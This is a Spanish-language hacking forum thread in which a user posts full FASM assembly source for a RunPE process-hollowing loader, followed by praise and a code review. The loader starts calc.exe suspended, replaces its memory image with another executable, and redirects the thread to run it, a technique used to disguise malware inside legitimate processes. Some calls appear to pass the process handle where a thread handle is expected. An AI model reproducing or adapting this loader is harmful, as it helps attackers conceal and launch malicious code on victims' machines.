Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

RunPE FASM

  • 4 Respuestas
  • 6882 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« en: Mayo 18, 2013, 11:53:57 am »
Nunca encontre ningún RunPE en FASM que funcionase asique al final me decidi por programarlo yo:

Código: ASM
  1. ; // RunPE
  2. ; // Programado por Juan fary (mDrinky)
  3.  
  4. format PE GUI 4.0
  5. include 'win32ax.inc'
  6. entry start
  7.  
  8. section '.data' readable writeable
  9.  
  10.         struct CONTEXT
  11.                ContextFlags             dd ?
  12.                Dr0                      dd ?
  13.                Dr1                      dd ?
  14.                Dr2                      dd ?
  15.                Dr3                      dd ?
  16.                Dr6                      dd ?
  17.                Dr7                      dd ?
  18.                FloatSave                dd ?
  19.                SegGs                    dd ?
  20.                SegFs                    dd ?
  21.                SegEs                    dd ?
  22.                SegDs                    dd ?
  23.                Edi                      dd ?
  24.                Esi                      dd ?
  25.                Ebx                      dd ?
  26.                Edx                      dd ?
  27.                Ecx                      dd ?
  28.                Eax                      dd ?
  29.                Ebp                      dd ?
  30.                Eip                      dd ?
  31.                SegCs                    dd ?
  32.                EFlags                   dd ?
  33.                Esp                      dd ?
  34.                SegSs                    dd ?
  35.                ExtendedRegisters        rb 512
  36.         ends
  37.  
  38.         calc            db 'c:\windows\system32\calc.exe',0
  39.         bleidos         dd 0
  40.         Datos           dd 0
  41.         Espacio         dd 0
  42.  
  43.         _SI                   STARTUPINFO ?
  44.         _PI                   PROCESS_INFORMATION ?
  45.         CTX                   CONTEXT ?
  46.  
  47.         Param2          dd 0
  48.  
  49.         ; Datos PE
  50.         imagebase       dd ?
  51.         sizeofheaders   dd ?
  52.         sizeofimage     dd ?
  53.         numseciones     dd ?
  54.  
  55.  
  56. section '.code' executable readable writeable
  57. start:
  58.         invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
  59.  
  60.         invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
  61.         mov ebx,eax
  62.         invoke GetFileSize,ebx,0
  63.         mov edi,eax
  64.         invoke GlobalAlloc,GPTR,edi
  65.         push eax
  66.         invoke ReadFile,ebx,eax,edi,addr bleidos,0
  67.         invoke CloseHandle,ebx
  68.         pop eax
  69.  
  70.         mov [Datos],eax
  71.  
  72.         cmp word[eax],'MZ'
  73.         jne salir
  74.  
  75.         add eax,dword[eax+0x3C]  ; PE
  76.  
  77.         cmp word[eax],'PE'
  78.         jne salir
  79.  
  80.         push dword[eax+0x34] ; imagebase
  81.         pop [imagebase]
  82.  
  83.         push dword[eax+0x54] ; sizeofheaders
  84.         pop [sizeofheaders]
  85.  
  86.         push dword[eax+0x50]
  87.         pop [sizeofimage]    ; sizeofimage
  88.  
  89.         movzx ebx,word[eax+0x6] ; numero de secciones
  90.         mov [numseciones],ebx
  91.  
  92.         push eax  ; guardamos ya EAX para el final
  93.  
  94.         push eax
  95.         invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
  96.         invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
  97.         mov [Espacio],eax
  98.         invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
  99.         pop eax
  100.  
  101.         mov ecx,0
  102.  
  103.         add eax,0xF8 ; posicionamos en las cabeceras de seccion
  104.  
  105.         EscribirSecciones:
  106.  
  107.         inc ecx
  108.  
  109.         push ecx
  110.         push eax
  111.  
  112.         mov ebx,eax
  113.         mov ebx,dword[ebx+0xC]      ; imagebase
  114.         add ebx,[imagebase]
  115.  
  116.         mov [Param2],ebx
  117.  
  118.         mov ebx,eax
  119.         mov ebx,dword[ebx+0x14]
  120.         mov edx,[Datos]
  121.         add edx,ebx
  122.  
  123.         mov ebx,eax
  124.         mov ebx,dword[ebx+0x10]
  125.  
  126.         invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
  127.  
  128.         pop eax
  129.         pop ecx
  130.  
  131.         add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
  132.  
  133.         cmp ecx,[numseciones]
  134.         jne EscribirSecciones
  135.  
  136.         invoke GetThreadContext,[_PI.hProcess],CTX
  137.  
  138.         invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
  139.  
  140.         pop eax
  141.  
  142.         add eax,dword[eax+0x3C]
  143.         mov eax,dword[eax+0x28]
  144.  
  145.         mov [CTX.Eax],eax ; EntryPoint
  146.  
  147.         invoke SetThreadContext,[_PI.hProcess],CTX
  148.  
  149.         invoke ResumeThread,[_PI.hThread]
  150.  
  151.         salir:
  152.         ret
  153.  
  154. section '.idata' import data readable writeable
  155.         library NTDLL,'NTDLL.DLL',\
  156.                 KERNEL32,'KERNEL32.DLL'
  157.  
  158.         import KERNEL32,\
  159.                 CreateProcessA,'CreateProcessA',\
  160.                 CreateFileA,'CreateFileA',\
  161.                 GetFileSize,'GetFileSize',\
  162.                 GlobalAlloc,'GlobalAlloc',\
  163.                 ReadFile,'ReadFile',\
  164.                 CloseHandle,'CloseHandle',\
  165.                 VirtualAllocEx,'VirtualAllocEx',\
  166.                 WriteProcessMemory,'WriteProcessMemory',\
  167.                 GetThreadContext,'GetThreadContext',\
  168.                 SetThreadContext,'SetThreadContext',\
  169.                 ResumeThread,'ResumeThread'
  170.  
  171.         import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'

un saludo!


Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de
« Respuesta #1 en: Mayo 18, 2013, 12:37:24 pm »
grande Drinky
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Desconectado Danyfirex

  • *
  • Underc0der
  • Mensajes: 22
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Mayo 19, 2013, 09:12:33 pm »
Muy bonito para aprender  ;D gracias mDrinky. a analizar un poco :)

Desconectado Vermillion

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Julio 16, 2013, 04:59:57 pm »
Es recomendable utilizar funciones Heap, debido a que las funciones Global fueron implementadas para compatibilidad con aplicaciones de 16 bits e internamente hacen llamadas a sus contrapartes Heap.

Pasando al resto del código, existen mejores formas de mapear un PE, y podrías definir algunas estructuras por lo menos. También me llama la atención que te interese liberar un handle, pero no liberar el buffer de memoria.

Leer el archivo entero en un solo ReadFile() es ineficaz en caso de que no sea PE, o si nos encontrásemos en algún contexto en el cual siempre recibiremos un PE, ¿para qué verificar los word 'MZ' o 'PE'?.
« Última modificación: Julio 16, 2013, 05:59:14 pm por Vermillion »

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #4 en: Julio 16, 2013, 07:26:11 pm »
Buen código, gracias por compartir ;D

Si hay cargar un PE desde ASM y no necesites fwb yo siempre utilizo la técnica de cambiar tu baseaddr para poder cargar el PE en tu propio proceso sin necesidad de sección reloc :)
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

 

¿Te gustó el post? COMPARTILO!



[MASM] Shellcode RunPE

Iniciado por ANTRAX

Respuestas: 1
Vistas: 6590
Último mensaje Enero 09, 2019, 11:41:15 pm
por 0x90
RunPE NASM

Iniciado por ragaza

Respuestas: 0
Vistas: 3666
Último mensaje Abril 04, 2018, 06:01:24 am
por ragaza
[FASM] Simple Memory Code Injection

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3485
Último mensaje Junio 05, 2012, 04:43:46 pm
por ANTRAX
Subclasificando una ventana FASM

Iniciado por linkgl

Respuestas: 0
Vistas: 4605
Último mensaje Diciembre 24, 2012, 08:08:49 pm
por linkgl
[FASM] Download & Execute

Iniciado por ANTRAX

Respuestas: 0
Vistas: 5379
Último mensaje Abril 12, 2012, 10:47:20 am
por ANTRAX